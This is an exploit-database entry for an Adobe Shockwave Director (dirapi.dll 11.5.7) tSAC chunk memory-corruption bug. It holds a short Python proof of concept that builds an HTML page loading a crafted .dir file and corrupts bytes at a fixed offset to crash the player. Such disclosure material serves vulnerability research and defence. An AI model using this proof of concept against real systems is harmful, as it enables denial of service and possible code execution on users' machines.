Adobe Shockwave Director tSAC Chunk Memory Corruption

2010-09-23T00:00:00
ID 1337DAY-ID-14154
Type zdt
Reporter Abysssec
Modified 2010-09-23T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            =====================================================
Adobe Shockwave Director tSAC Chunk Memory Corruption
=====================================================

  Title               : Adobe Shockwave Director tSAC Chunk memory corruption
  Version             : dirapi.dll 11.5.7
  Analysis            : http://www.abysssec.com
  Vendor              : http://www.adobe.com
  Impact              : Med/High
  Contact             : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             : @abysssec
 
http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/
http://www.exploit-db.com/sploits/moaub-22-exploit.zip
 
'''
 
 
import sys
 
temp =  """<!-- saved from url=(0013)about:internet -->
 
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
 ID=wineglass>
    <param name=src value="poc.dir">
    <param name=PlayerVersion value=11>
 
 
</object>
"""
htmlTest = open('poc.html', 'wb')
htmlTest.write(temp)
htmlTest.close()
 
sampleFile = open('sample.dir','rb')
pocFile = open("poc.DIR",'wb')         
pocFile.write(sampleFile.read(-1)) 
sampleFile.close()
pocFile.seek(13168)
pocFile.write("\xff\xff\xff\xff\x11\x11")
pocFile.close()         



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